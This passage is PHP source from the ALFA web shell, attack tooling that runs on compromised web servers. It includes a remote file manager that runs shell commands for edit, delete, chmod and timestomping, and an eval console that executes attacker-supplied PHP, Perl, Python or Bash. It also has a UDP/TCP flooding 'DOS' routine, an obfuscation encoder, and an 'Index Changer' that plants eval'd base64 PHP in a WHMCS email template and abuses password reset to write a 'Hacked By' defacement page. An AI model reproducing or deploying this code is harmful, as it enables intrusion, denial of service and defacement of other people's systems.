  3040. list($uid['name'],$gid['name']) = explode(":", alfaEx('stat -c "%U:%G" "'.addslashes($_POST["c"]."/".$_POST["alfa1"]).'"'));
  3041. }
  3042. }
  3043. }
  3044. if(substr($_POST['alfa1'], 0, 7) == "phar://"){
  3045. $alfa_file_directory = $_POST['alfa1'];
  3046. }else{
  3047. $alfa_file_directory = str_replace("//", "/",($chdir_fals?"":$_POST['c'].'/').$_POST['alfa1']);
  3048. }
  3049. echo '<div style="overflow: hidden;white-space: nowrap;text-overflow: ellipsis;"><span class="editor_file_info_vars">Name:</span> '.htmlspecialchars(basename($alfa1_decoded)).' <span class="editor_file_info_vars">Size:</span> '.alfaSize($filesize).' <span class="editor_file_info_vars">Permission:</span> '.$permcolor.' <span class="editor_file_info_vars">Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].' <span class="editor_file_info_vars">Directory:</span> '.dirname($alfa_file_directory).'</div>';
  3050. if(empty($_POST['alfa2']))$_POST['alfa2'] = 'view';
  3051. if(!_alfa_is_dir($_POST['alfa1'])){
  3052. $m = array('View', 'Download', 'Highlight', 'Chmod', 'Rename', 'Touch', 'Delete', 'Image', 'Hexdump');
  3053. $ftype = "file";
  3054. }else{
  3055. $m = array('Chmod', 'Rename', 'Touch');
  3056. $ftype = "dir";
  3057. }
  3058. echo('<div>');
  3059. foreach($m as $v)
  3060. echo $v == 'Delete' ? '<a href="javascript:void(0);" onclick="var chk=confirm(\'Are You Sure For Delete This File ?\');chk?editor(\''.addslashes(!isset($rename_cache)?$_POST['alfa1']:$rename_cache).'\',\''.strtolower($v).'\',\'\',\''.$_POST['c'].'\',\''.$_POST['alfa4'].'\',\''.$ftype.'\'):\'\';"><span class="editor_actions">'.((strtolower($v)==@$_POST['alfa2'])?'<b><span class="editor_actions"> '.$v.' </span> </b>':$v).' | </span></a> ' : '<a href="javascript:void(0);" onclick="editor(\''.addslashes(!isset($rename_cache)?$_POST['alfa1']:$rename_cache).'\',\''.strtolower($v).'\',\'\',\''.$_POST['c'].'\',\''.$_POST['alfa4'].'\',\''.$ftype.'\')"><span class="editor_actions">'.((strtolower($v)==@$_POST['alfa2'])?'<b><span class="editor_actions"> '.$v.' </span> </b>':$v).' | </span></a>';
  3061. echo '</div>';
  3062. switch($_POST['alfa2']){
  3063. case 'view':case 'edit':
  3064. @chdir($_POST['c']);
  3065. $disabled_btn = "";
  3066. if(!@is_writable($_POST['alfa1'])&&!_alfa_is_writable($_POST['alfa1'])){
  3067. $disabled_btn = "disabled=disabled";
  3068. $disabled_btn_style= 'background: #ff0000;color: #fff;';
  3069. }
  3070. if(!empty($_POST['alfa3'])){
  3071. $_POST['alfa3'] = substr($_POST['alfa3'],1);
  3072. $time = @filemtime($_POST['alfa1']);
  3073. $fp = @__write_file($_POST['alfa1'],$_POST['alfa3']);
  3074. if($chdir_fals&&$alfa_canruncmd){
  3075. $rname = $alfa1_decoded;
  3076. $randname = $rname.rand(111,9999);
  3077. $filepath = dirname($_SERVER["SCRIPT_FILENAME"])."/".$randname;
  3078. if($fp = @__write_file($filepath ,$_POST['alfa3'])){
  3079. alfaEx("mv '".addslashes($filepath)."' '".addslashes($_POST["alfa1"])."';rm -f '".addslashes($filepath)."'");
  3080. }
  3081. }
  3082. if($fp){
  3083. echo 'Saved!<br>';
  3084. @touch($_POST['alfa1'],$time,$time);
  3085. }
  3086. }
  3087. echo '<div class="editor-view"><div class="view-content editor-ace-controller"><div style="display:inline-block;">'._alfa_load_ace_options("editor").'<button style="border-radius:10px;" class="button ace-controler" onClick="copyToClipboard(this);">Copy</button> <button class="button ace-controler" onclick="alfaAceToFullscreen(this);">Full Screen</button> <button onclick="var ace_val = alfa_ace_editors.editor[this.getAttribute(\'ace_id\')].getValue();editor(\''.addslashes($alfa1_decoded).'\',\'edit\',\'1\'+ace_val,\''.$_POST['c'].'\',\''.$_POST['alfa4'].'\',\''.$ftype.'\');return false;" class="button ace-controler ace-save-btn" style="width: 100px;height: 33px;'.$disabled_btn_style.'" '.$disabled_btn.'>save</button></div><pre class="ml1 view_ml_content">';
  3088. echo htmlspecialchars(__read_file($_POST['alfa1']));
  3089. echo '</pre></div></div>';
  3090. break;
  3091. case 'highlight':
  3092. @chdir($_POST['c']);
  3093. if(@is_readable($_POST['alfa1'])){
  3094. echo '<div class="editor-view"><div class="view-content"><div class="ml1" style="background-color: #e1e1e1;color:black;">';
  3095. $code = @highlight_file($_POST['alfa1'],true);
  3096. echo str_replace(array('<span ','</span>'), array('<font ','</font>'),$code).'</div></div></div>';
  3097. }
  3098. break;
  3099. case 'delete':
  3100. @chdir($_POST['c']);
  3101. if(@is_writable($_POST['alfa1'])||$GLOBALS["glob_chdir_false"]){
  3102. $deleted = true;
  3103. if(!@unlink($_POST['alfa1'])){
  3104. $deleted = false;
  3105. if($alfa_canruncmd){
  3106. if(_alfa_is_writable($_POST['alfa1'])){
  3107. alfaEx("rm -f '".addslashes($_POST['alfa1'])."'");
  3108. $deleted = true;
  3109. }
  3110. }
  3111. }
  3112. if($deleted)echo 'File Deleted...<script>var elem = $("'.$_POST['alfa4'].'").parentNode;elem.parentNode.removeChild(elem);delete editor_files["'.$_POST['alfa4'].'"];</script>';else echo 'Error...';}
  3113. break;
  3114. case 'chmod':
  3115. @chdir($_POST['c']);
  3116. if(!empty($_POST['alfa3'])){
  3117. $perms = 0;
  3118. for($i=strlen($_POST['alfa3'])-1;$i>=0;--$i)
  3119. $perms += (int)$_POST['alfa3'][$i]*pow(8, (strlen($_POST['alfa3'])-$i-1));
  3120. if(!@chmod($_POST['alfa1'], $perms)){
  3121. if($chdir_fals&&$alfa_canruncmd){
  3122. alfaEx("cd '".addslashes($_POST["c"])."';chmod ".addslashes($_POST['alfa3'])." '".addslashes($alfa1_decoded)."'");
  3123. echo('Success!');
  3124. }else{
  3125. echo '<font color="#FFFFFF"><b>Can\'t set permissions!</b></font><br><script>document.mf.alfa3.value="";</script>';}
  3126. }else{echo('Success!');}
  3127. }
  3128. clearstatcache();
  3129. AlfaNum(8,9,10,7,6,5,4,2,1);
  3130. if($chdir_fals){
  3131. $file_perm = $file_info[5];
  3132. }else{
  3133. $file_perm = substr(sprintf('%o', @fileperms($_POST['alfa1'])),-4);
  3134. }
  3135. echo '<script>alfa3_="";</script><form onsubmit="editor(\''.addslashes($_POST['alfa1']).'\',\''.$_POST['alfa2'].'\',this.chmod.value,\''.$_POST['c'].'\',\''.$_POST['alfa4'].'\',\''.$ftype.'\');return false;"><input type="text" name="chmod" value="'.$file_perm.'"><input type=submit value=" "></form>';
  3136. break;
  3137. case 'hexdump':
  3138. @chdir($_POST['c']);
  3139. $c = __read_file($_POST['alfa1']);
  3140. $n = 0;
  3141. $h = array('00000000<br>','','');
  3142. $len = strlen($c);
  3143. for ($i=0; $i<$len; ++$i) {
  3144. $h[1] .= sprintf('%02X',ord($c[$i])).' ';
  3145. switch ( ord($c[$i]) ) {
  3146. case 0: $h[2] .= ' '; break;
  3147. case 9: $h[2] .= ' '; break;
  3148. case 10: $h[2] .= ' '; break;
  3149. case 13: $h[2] .= ' '; break;
  3150. default: $h[2] .= $c[$i]; break;
  3151. }
  3152. $n++;
  3153. if ($n == 32) {
  3154. $n = 0;
  3155. if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'<br>';}
  3156. $h[1] .= '<br>';
  3157. $h[2] .= "\n";
  3158. }
  3159. }
  3160. echo '<div class="editor-view"><div class="view-content"><table cellspacing=1 cellpadding=5 bgcolor=black><tr><td bgcolor=gray><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#282828><pre>'.$h[1].'</pre></td><td bgcolor=#333333><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table></div></div>';
  3161. break;
  3162. case 'rename':
  3163. @chdir($_POST['c']);
  3164. $alfa1_escape = addslashes($_POST["alfa1"]);
  3165. $alfa3_escape = addslashes($_POST["alfa3"]);
  3166. if(!empty($_POST['alfa3'])){
  3167. $cmd_rename = false;
  3168. if($chdir_fals&&$alfa_canruncmd){
  3169. if(_alfa_is_writable($_POST['alfa1'])){
  3170. $alfa1_escape = addslashes($alfa1_decoded);
  3171. alfaEx("cd '".addslashes($_POST['c'])."';mv '".$alfa1_escape."' '".addslashes($_POST['alfa3'])."'");
  3172. }else{
  3173. $cmd_rename = true;
  3174. }
  3175. }else{
  3176. $alfa1_escape = addslashes($_POST["alfa1"]);
  3177. }
  3178. if(!@rename($_POST['alfa1'], $_POST['alfa3'])&&$cmd_rename){
  3179. echo 'Can\'t rename!<br>';}else{echo('Renamed!<script>try{$("'.$_POST['alfa4'].'").innerHTML = "<div class=\'editor-icon\'>"+loadType(\''.$alfa3_escape.'\',\''.$ftype.'\',\''.$_POST['alfa4'].'\')+"</div><div class=\'editor-file-name\'>'.$alfa3_escape.'</div>";editor_files["'.$_POST['alfa4'].'"].file = "'.$alfa3_escape.'";updateFileEditor("'.$alfa1_escape.'", "'.$alfa3_escape.'");'.($ftype == "dir"?"updateDirsEditor('".$_POST['alfa4']."','".$alfa1_escape."');":"").'}catch(e){console.log(e)}</script>');$alfa1_escape = $alfa3_escape;}
  3180. }
  3181. echo '<form onsubmit="editor(\''.$alfa1_escape.'\',\''.$_POST['alfa2'].'\',this.name.value,\''.$_POST['c'].'\',\''.$_POST['alfa4'].'\',\''.$ftype.'\');return false;"><input type="text" name="name" value="'.addslashes(htmlspecialchars(isset($_POST['alfa3'])&&$_POST['alfa3']!=''?$_POST['alfa3']:$alfa1_decoded)).'"><input type=submit value=" "></form>';
  3182. break;
  3183. case 'touch':
  3184. @chdir($_POST['c']);
  3185. if( !empty($_POST['alfa3']) ) {
  3186. $time = strtotime($_POST['alfa3']);
  3187. if($time){
  3188. $touched = false;
  3189. if($chdir_fals&&$alfa_canruncmd){
  3190. alfaEx("cd '".addslashes($_POST["c"])."';touch -d '".htmlspecialchars(addslashes($_POST['alfa3']))."' '".addslashes($alfa1_decoded)."'");
  3191. $touched = true;
  3192. }
  3193. if(!@touch($_POST['alfa1'],$time,$time)&&!$touched)
  3194. echo 'Fail!';
  3195. else
  3196. echo 'Touched!';
  3197. } else echo 'Bad time format!';
  3198. }
  3199. clearstatcache();
  3200. echo '<script>alfa3_="";</script><form onsubmit="editor(\''.addslashes($_POST['alfa1']).'\',\''.$_POST['alfa2'].'\',this.touch.value,\''.$_POST['c'].'\',\''.$_POST['alfa4'].'\',\''.$ftype.'\');return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s", ($chdir_fals?$file_info[4]:@filemtime($_POST['alfa1']))).'"><input type=submit value=" "></form>';
  3201. break;
  3202. case 'image':
  3203. @chdir($_POST['c']);
  3204. echo('<hr>');
  3205. $file = $_POST['alfa1'];
  3206. $image_info = @getimagesize($file);
  3207. if(is_array($image_info)||$chdir_fals){
  3208. $width = (int)$image_info[0];
  3209. $height = (int)$image_info[1];
  3210. if($chdir_fals&&$alfa_canruncmd){
  3211. $source = alfaEx("cat '".addslashes($file)."' | base64");
  3212. list($width, $height) = explode(":", alfaEx("identify -format '%w:%h' '".addslashes($file)."'"));
  3213. $mime = explode(":", alfaEx("file --mime-type '".addslashes($file)."'"));
  3214. $image_info['mime'] = $mime[1];
  3215. }else{
  3216. $source = __ZW5jb2Rlcg(__read_file($file, false));
  3217. }
  3218. $image_info_h = "Image type = <span>[</span> ".$image_info['mime']." <span>]</span><br>Image Size = <span>[ </span>".$width." x ".$height."<span> ]</span><br>";
  3219. if($width > 800){$width = 800;}
  3220. echo $content = "<div class='editor-view'><div class='view-content'><center>".$image_info_h."<br><img id='viewImage' style='max-width:100%;border:1px solid green;' src='data:".$image_info['mime'].";base64,".$source."' alt='".$file."'></center></div></div><br>";
  3221. }
  3222. break;
  3223. }
  3224. echo '</div>';
  3225. alfaFooter();
  3226. }
  3227. function findicon($file,$type){
  3228. $s = 'http://solevisible.com/icons/';
  3229. $types = array('json','ppt','pptx','xls','xlsx','msi','config','cgi','pm','c','cpp','cs','java','aspx','asp','db','ttf','eot','woff','woff2','woff','conf','log','apk','cab','bz2','tgz','dmg','izo','jar','7z','iso','rar','bat','sh','alfa','gz','tar','php','php4','php5','phtml','html','xhtml','shtml','htm','zip','png','jpg','jpeg','gif','bmp','ico','txt','js','rb','py','xml','css','sql','htaccess','pl','ini','dll','exe','mp3','mp4','m4a','mov','flv','swf','mkv','avi','wmv','mpg','mpeg','dat','pdf','3gp','doc','docx','docm');
  3230. if($type!='file'){
  3231. return ($file=='..'?$s.'back.png':$s.'folder.png');
  3232. }else{
  3233. $ext = explode('.',$file);
  3234. $ext = end($ext);
  3235. $ext = strtolower($ext);
  3236. return (in_array($ext,$types)?$s.$ext.'.png':$s.'notfound.png');
  3237. }
  3238. }
  3239. function alfadlfile(){
  3240. if(isset($_POST['c'],$_POST['file'])){
  3241. $basename = rawurldecode(basename($_POST['file']));
  3242. $_POST['file'] = str_replace("//", "/", $_POST['c'].'/'.$basename);
  3243. $alfa_canruncmd = _alfa_can_runCommand(true,true);
  3244. if(@is_file($_POST['file']) && @is_readable($_POST['file']) || $alfa_canruncmd){
  3245. ob_start("ob_gzhandler", 4096);
  3246. header("Content-Disposition: attachment; filename=\"".addslashes($basename)."\"");
  3247. header("Content-Type: application/octet-stream");
  3248. if($GLOBALS["glob_chdir_false"]){
  3249. $randname = $basename.rand(111,9999);
  3250. $scriptpath = dirname($_SERVER["SCRIPT_FILENAME"]);
  3251. $filepath = $scriptpath."/".$randname;
  3252. if(_alfa_is_writable($scriptpath)){
  3253. alfaEx("cp '".addslashes($_POST["file"])."' '".addslashes($filepath)."'");
  3254. readfile($filepath);
  3255. @unlink($filepath);
  3256. }else{
  3257. alfaEx("cat '".addslashes($_POST["file"])."'");
  3258. }
  3259. }else{
  3260. readfile($_POST['file']);
  3261. }
  3262. }else echo('Error...!');}}
  3263. function __alfa_set_cookie($key, $value){
  3264. $_COOKIE[$key] = $value;
  3265. @setcookie($key, $value, time()+(86400 * 7), '/');
  3266. }
  3267. function alfaphpeval(){
  3268. if(isset($_COOKIE["eval_tmpdir"])&&@is_dir($_COOKIE["eval_tmpdir"])){
  3269. $tempdir = __ZGVjb2Rlcg($_COOKIE["eval_tmpdir"]);
  3270. }else{
  3271. $tempdir = dirname(alfaEx("mktemp"));
  3272. __alfa_set_cookie("eval_tmpdir", __ZW5jb2Rlcg($tempdir));
  3273. }
  3274. alfahead();
  3275. if(isset($_POST['alfa2']) && ($_POST['alfa2'] == 'ini')){
  3276. echo '<div class=header>';
  3277. ob_start();
  3278. $INI=ini_get_all();
  3279. print '<table border=0><tr>'
  3280. .'<td class="listing"><font class="highlight_txt">Param</td>'
  3281. .'<td class="listing"><font class="highlight_txt">Global value</td>'
  3282. .'<td class="listing"><font class="highlight_txt">Local Value</td>'
  3283. .'<td class="listing"><font class="highlight_txt">Access</td></tr>';
  3284. foreach ($INI as $param => $values)
  3285. print "\n".'<tr>'
  3286. .'<td class="listing"><b>'.$param.'</td>'
  3287. .'<td class="listing">'.$values['global_value'].' </td>'
  3288. .'<td class="listing">'.$values['local_value'].' </td>'
  3289. .'<td class="listing">'.$values['access'].' </td></tr>';
  3290. $tmp = ob_get_clean();
  3291. $tmp = preg_replace('!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU','',$tmp);
  3292. $tmp = preg_replace('!td, th {(.*)}!msiU','.e, .v, .h, .h th {$1}',$tmp);
  3293. echo str_replace('<h1','<h2', $tmp) .'</div><br>';
  3294. }
  3295. if(isset($_POST['alfa2']) && ($_POST['alfa2'] == 'info')) {
  3296. echo '<div class=header><style>.p {color:#000;}</style>';
  3297. ob_start();
  3298. phpinfo();
  3299. $tmp = ob_get_clean();
  3300. $tmp = preg_replace('!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU','',$tmp);
  3301. $tmp = preg_replace('!td, th {(.*)}!msiU','.e, .v, .h, .h th {$1}',$tmp);
  3302. echo str_replace('<h1','<h2', $tmp) .'</div><br>';
  3303. }
  3304. if(isset($_POST['alfa2']) && ($_POST['alfa2'] == 'exten')) {
  3305. echo '<div class=header>';
  3306. ob_start();
  3307. $EXT=get_loaded_extensions();
  3308. echo '<table border=0><tr><td class="listing">'.implode('</td></tr>'."\n".'<tr><td class="listing">', $EXT).'</td></tr></table>'.count($EXT).' extensions loaded';
  3309. echo '</div><br>';
  3310. }
  3311. $lang_html = "";
  3312. foreach(array("php"=>"php ~> [ Windows / Linux ]","perl"=>"perl ~> [ Linux ]","python"=>"python ~> [ Linux ]","bash"=>"bash ~> [ Linux ]") as $key=>$val){$lang_html .= '<option value="'.$key.'" '.($_POST["alfa3"]==$key?"selected":"").'>'.$val.'</option>';}
  3313. echo '<div class=header><Center><a href=javascript:void(0) onclick="g(\'phpeval\',null,\'\',\'ini\')">| INI_INFO | </a><a href=javascript:void(0) onclick="g(\'phpeval\',null,\'\',\'info\')"> | phpinfo |</a><a href=javascript:void(0) onclick="g(\'phpeval\',null,\'\',\'exten\')"> | extensions |</a></center><br><form class="php-evals" name="pf" method="post" onsubmit="var ace_value=geEvalAceValue(this);g(\'phpeval\',null,ace_value,null,this.language.value); return false;"><div class="txtfont">Select Language: </div> <select name="language" style="width:300px;">'.$lang_html.'</select>'._alfa_load_ace_options("eval").'<br><br><div class="bigarea" style="position:relative;"><div class="php-evals-ace">'.(!empty($_POST['alfa1'])?htmlspecialchars($_POST['alfa1']):"&lt;?php\n\n\techo('hello alfa !');\n\n?>").'</div></div><center><input type="submit" value="" style="margin-top:5px"></center>';
  3314. echo '</form><pre id="PhpOutput" style="'.(empty($_POST['alfa1'])?'display:none;':'').'margin-top:5px;" class="ml1">';
  3315. if(!empty($_POST['alfa1'])){
  3316. if($_POST['alfa3']=="php"){
  3317. ob_start();
  3318. eval('?>'.$_POST['alfa1']);
  3319. $result = htmlspecialchars(ob_get_clean());
  3320. }elseif(_alfa_can_runCommand()&&$GLOBALS["sys"]=="unix"){
  3321. $lang = $_POST['alfa3'];
  3322. $filename = "temp".rand(11111,99999);
  3323. $temp = $tempdir."/".$filename ;
  3324. __write_file($filename, $_POST['alfa1']);
  3325. $result = alfaEx("mv {$filename} {$temp};{$lang} {$temp};rm -f {$temp}");
  3326. @unlink($filename);
  3327. @unlink($temp);
  3328. }
  3329. echo '<textarea class="bigarea">'.$result.'</textarea>';
  3330. }
  3331. echo '</pre></div>';
  3332. alfafooter();
  3333. }
  3334. function alfahash(){
  3335. if(!function_exists('hex2bin')) {function hex2bin($p) {return decbin(hexdec($p));}}
  3336. if(!function_exists('full_urlencode')) {function full_urlencode($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= '%'.dechex(ord($p[$i]));return strtoupper($r);}}
  3337. $stringTools = array(
  3338. 'Base64_encode ( $string )' => '__ZW5jb2Rlcg($s)',
  3339. 'Base64_decode ( $string )' => '__ZGVjb2Rlcg($s)',
  3340. 'strrev ( $string )' => 'strrev($s)',
  3341. 'bin2hex ( $string )' => 'bin2hex($s)',
  3342. 'hex2bin ( $string )' => 'hex2bin($s)',
  3343. 'md5 ( $string )' => 'md5($s)',
  3344. 'sha1 ( $string )' => 'sha1($s)',
  3345. 'hash ( "sha251", $string ) --> sha251' => 'hash("sha256",$s)',
  3346. 'hash ( "sha384", $string ) --> sha384' => 'hash("sha384",$s)',
  3347. 'hash ( "sha512", $string ) --> sha512' => 'hash("sha512",$s)',
  3348. 'crypt ( $string )' => 'crypt($s)',
  3349. 'crc32 ( $string )' => 'crc32($s)',
  3350. 'str_rot13 ( $string )' => 'str_rot13($s)',
  3351. 'urlencode ( $string )' => 'urlencode($s)',
  3352. 'urldecode ( $string )' => 'urldecode($s)',
  3353. 'full_urlencode ( $string )' => 'full_urlencode($s)',
  3354. 'htmlspecialchars ( $string )' => 'htmlspecialchars($s)',
  3355. 'base64_encode (gzdeflate( $string , 9)) --> Encode' => '__ZW5jb2Rlcg(gzdeflate($s, 9))',
  3356. 'gzinflate (base64_decode( $string )) --> Decode' => '@gzinflate(__ZGVjb2Rlcg($s))',
  3357. 'str_rot13 (base64_encode( $string )) --> Encode' => 'str_rot13(__ZW5jb2Rlcg($s))',
  3358. 'base64_decode (str_rot13( $string )) --> Decode' => '__ZGVjb2Rlcg(str_rot13($s))',
  3359. 'str_rot13 (base64_encode(gzdeflate( $string , 9))) --> Encode' => 'str_rot13(__ZW5jb2Rlcg(gzdeflate($s,9)))',
  3360. 'gzinflate (base64_decode(str_rot13( $string ))) --> Decode' => '@gzinflate(__ZGVjb2Rlcg(str_rot13($s)))',
  3361. );
  3362. alfahead();
  3363. echo '<div class=header>';
  3364. echo "<form onSubmit='g(\"hash\",null,this.selectTool.value,this.input.value);return false;'><div class='txtfont'>Method:</div> <select name='selectTool' style='width:400px;'>";
  3365. foreach($stringTools as $k => $v)
  3366. echo "<option value='".htmlspecialchars($v)."' ".($_POST['alfa1']==$v?'selected':'').">".$k."</option>";
  3367. echo "</select> <input type='submit' value=' '/><br><textarea name='input' style='margin-top:5px' class='bigarea'>".(empty($_POST['alfa1'])?'':htmlspecialchars(@$_POST['alfa2']))."</textarea></form>";
  3368. if(!empty($_POST['alfa1'])){
  3369. $string = addslashes($_POST['alfa2']);
  3370. $string = str_replace('\"','"',$string);
  3371. $alg = $_POST['alfa1'];
  3372. $code = str_replace('$s',"'".$string."'",$alg);
  3373. ob_start();
  3374. eval('echo '.$code.';');
  3375. $res = ob_get_contents();
  3376. ob_end_clean();
  3377. if(in_array($alg, $stringTools))echo '<textarea class="bigarea">'.htmlspecialchars($res).'</textarea>';
  3378. }
  3379. echo "</div>";
  3380. alfaFooter();
  3381. }
  3382. function alfados(){
  3383. alfahead();
  3384. echo '<div class=header>';
  3385. echo '<center><p><div class="txtfont_header">| DOS |</div></p><form onSubmit="g(\'dos\',null,this.host.value,this.time.value,this.port.value,this.m.value); return false;"><div class="txtfont">Method : <select name="m" style="width:80px;"><option value="udp">UDP</option><option value="tcp">TCP</option></select> Host : <input name="host" type="text" value="localhost" size="25" /> Time : <input name="time" type="text" size="15" /> Port : <input name="port" type="text" size="10" /> <input type="submit" value=" " /></div></form></center><br>';
  3386. if(!empty($_POST['alfa1']) && !empty($_POST['alfa2']) && !empty($_POST['alfa3'])){
  3387. echo __pre();
  3388. $packets=0;
  3389. ignore_user_abort(true);
  3390. $exec_time=(int)$_POST['alfa2'];
  3391. $time=time();
  3392. $max_time=$exec_time+$time;
  3393. $host=$_POST['alfa1'];
  3394. $port=(int)$_POST['alfa3'];
  3395. $method=$_POST['alfa4'];
  3396. $out = str_repeat('X',65000);
  3397. while(1){
  3398. $packets++;
  3399. if(time() > $max_time){
  3400. break;
  3401. }
  3402. $fp = @fsockopen($method.'://'.$host, $port, $errno, $errstr, 5);
  3403. if($fp){
  3404. fwrite($fp, $out);
  3405. fclose($fp);
  3406. }
  3407. }
  3408. echo "<center>$packets (" . @round(($packets*65)/1024, 2) . " MB) packets averaging ". @round($packets/$exec_time, 2) . " packets per second</center>";
  3409. echo "</pre>";
  3410. }
  3411. echo '</div>';
  3412. alfafooter();
  3413. }
  3414. function __pre(){return('<pre id="strOutput" style="margin-top:5px" class="ml1">');}
  3415. function alfaIndexChanger(){
  3416. alfahead();
  3417.  
  3418. echo '<div class=header><center><p><div class="txtfont_header">| Index Changer |</div></p><h3><a href=javascript:void(0) onclick="g(\'IndexChanger\',null,null,null,\'whmcs\')">| Whmcs | </a><a href=javascript:void(0) onclick="g(\'IndexChanger\',null,\'vb\',null)">| vBulletin | </a><a href=javascript:void(0) onclick="g(\'IndexChanger\',null,null,\'mybb\')">| MyBB | </a></h3></center>';
  3419. if(isset($_POST['alfa3'])&&($_POST['alfa3'] == 'whmcs')){
  3420. echo __pre();
  3421.  
  3422. echo "<center><center><div class='txtfont_header'>| Whmcs |</div>
  3423. <p><center>".getConfigHtml('whmcs')."<form onSubmit=\"g('IndexChanger',null,null,null,'whmcs',this.fname.value,this.path.value,this.dbu.value,this.dbn.value,this.dbp.value,this.dbh.value,this.index.value); return false;\">
  3424. ";
  3425. $table = array('td1' =>
  3426. array('color' => 'FFFFFF', 'tdName' => 'Mysql Host', 'inputName' => 'dbh', 'id' => 'db_host', 'inputValue' => 'localhost', 'inputSize' => '50'),
  3427. 'td2' =>
  3428. array('color' => 'FFFFFF', 'tdName' => 'URL', 'inputName' => 'path', 'inputValue' => 'http://site.com/whmcs', 'inputSize' => '50'),
  3429. 'td3' =>
  3430. array('color' => 'FFFFFF', 'tdName' => 'File Name', 'inputName' => 'fname', 'inputValue' => '', 'inputSize' => '50'),
  3431. 'td4' =>
  3432. array('color' => 'FFFFFF', 'tdName' => 'Db Name', 'inputName' => 'dbn', 'id' => 'db_name', 'inputValue' => '', 'inputSize' => '50'),
  3433. 'td5' =>
  3434. array('color' => 'FFFFFF', 'tdName' => 'Db User', 'inputName' => 'dbu', 'id' => 'db_user', 'inputValue' => '', 'inputSize' => '50'),
  3435. 'td6' =>
  3436. array('color' => 'FFFFFF', 'tdName' => 'Db Pass', 'inputName' => 'dbp', 'id' => 'db_pw', 'inputValue' => '', 'inputSize' => '50')
  3437. );
  3438. create_table($table);
  3439. echo "<br><div class='txtfont'>| Your Index |</div><br>
  3440. <textarea name=index rows='19' cols='103'><title>Hacked By Sole Sad & Invisible</title><b>Hacked By Sole Sad & Invisible</b></textarea><br>
  3441. <input type='submit' value=' '>
  3442. </form></center></center>";
  3443. if(isset($_POST['alfa6'])){
  3444. $s0levisible="Powered By Solevisible";
  3445. $dbu = $_POST['alfa6'];
  3446. $path = $_POST['alfa5'];
  3447. $fname = $_POST['alfa4'];
  3448. $dbn = $_POST['alfa7'];
  3449. $dbp = $_POST['alfa8'];
  3450. $dbh = $_POST['alfa9'];
  3451. $index = $_POST['alfa10'];
  3452. $index = str_replace("\'","'",$index);
  3453. $deface = '$x = base64_decode("'.__ZW5jb2Rlcg($index).'"); $solevisible = fopen("'.$fname.'","w"); fwrite($solevisible,$x);';
  3454. $saveData = __ZW5jb2Rlcg($deface);
  3455. $Def = '{php}eval(base64_decode("'.$saveData.'"));{/php}';
  3456. if(!empty($dbh)&&!empty($dbu)&&!empty($dbn)&&!empty($index)){
  3457. $conn=@mysqli_connect($dbh,$dbu,$dbp,$dbn) or die(mysqli_error($conn));
  3458. $soleSave=@mysqli_query($conn,"select message from tblemailtemplates where name='Password Reset Validation'");
  3459. $soleGet = mysqli_fetch_assoc($soleSave);
  3460. $tempSave1 = $soleGet['message'];
  3461. $tempSave = str_replace("'","\'",$tempSave1);
  3462. $inject = "UPDATE tblemailtemplates SET message='$Def' WHERE name='Password Reset Validation'";
  3463. $result=@mysqli_query($conn,$inject) or die (mysqli_error($conn));
  3464. $create = "insert into tblclients (email) values('solevisible@fbi.gov')";
  3465. $result2 =@mysqli_query($conn,$create) or die (mysqli_error($conn));
  3466. if(function_exists('curl_version')){
  3467. $AlfaSole = new AlfaCURL(true);
  3468. $saveurl = $AlfaSole->Send($path."/pwreset.php");
  3469. $getToken = preg_match("/name=\"token\" value=\"(.*?)\"/i",$saveurl,$token);
  3470. $AlfaSole->Send($path."/pwreset.php","post","token={$token[1]}&action=reset&email=solevisible@fbi.gov");
  3471. $backdata = "UPDATE tblemailtemplates SET message='{$tempSave}' WHERE name='Password Reset Validation'";
  3472. $Solevisible = mysqli_query($conn,$backdata) or die (mysqli_error($conn));
  3473. __alert('File Created...');
  3474. echo "<br><pre id=\"strOutput\" style=\"margin-top:5px\" class=\"ml1\"><br><center><font color=red><a target='_blank' href='".$path."/".$fname."'>Click Here !</a></font></b></center><br><br>";
  3475. }else{
  3476. echo "<br><pre id=\"strOutput\" style=\"margin-top:5px\" class=\"ml1\"><br><center><b><font color=\"#FFFFFF\">Please go to Target </font><font color=red>\" ".$path."/pwreset.php \"</font><br/><font color=\"#FFFFFF\"> and reset password with email</font> => <font color=red>solevisible@fbi.gov</font><br/><font color=\"#FFFFFF\">and go to</font> <font color=red>\" ".$path."/".$fname." \"</font></b></center><br><br>";
  3477. }}}}
  3478. if(isset($_POST['alfa1']) && ($_POST['alfa1'] == 'vb')){
  3479. echo __pre();
  3480.  
  3481. echo "<center><center><div class='txtfont_header'>| vBulletin |</div>
  3482. <p><center>".getConfigHtml('vb')."<form onSubmit=\"g('IndexChanger',null,'vb',this.dbu.value,this.dbn.value,this.dbp.value,this.dbh.value,this.index.value,this.prefix.value,'>>'); return false;\">
  3483. ";
  3484. $table = array('td1' =>
  3485. array('color' => 'FFFFFF', 'tdName' => 'Mysql Host', 'inputName' => 'dbh', 'id' => 'db_host', 'inputValue' => 'localhost', 'inputSize' => '50'),
  3486. 'td2' =>
  3487. array('color' => 'FFFFFF', 'tdName' => 'Db Name', 'inputName' => 'dbn', 'id' => 'db_name', 'inputValue' => '', 'inputSize' => '50'),
  3488. 'td3' =>
  3489. array('color' => 'FFFFFF', 'tdName' => 'Db User', 'inputName' => 'dbu', 'id' => 'db_user', 'inputValue' => '', 'inputSize' => '50'),
  3490. 'td4' =>
  3491. array('color' => 'FFFFFF', 'tdName' => 'Db Pass', 'inputName' => 'dbp', 'id' => 'db_pw', 'inputValue' => '', 'inputSize' => '50'),
  3492. 'td5' =>
  3493. array('color' => 'FFFFFF', 'tdName' => 'Prefix', 'inputName' => 'prefix', 'id' => 'db_prefix', 'inputValue' => '', 'inputSize' => '50')
  3494. );
  3495. create_table($table);
  3496. echo "<br><div class='txtfont'>| Your Index |</div><br>
  3497. <textarea name='index' rows='19' cols='103'><title>Hacked By Sole Sad & Invisible</title><b>Hacked By Sole Sad & Invisible</b></textarea><br>
  3498. <input type='submit' value=' '></form></center></center>";
  3499. if($_POST['alfa8']=='>>'){
  3500. $s0levisible="Powered By Solevisible";
  3501. $dbu = $_POST['alfa2'];
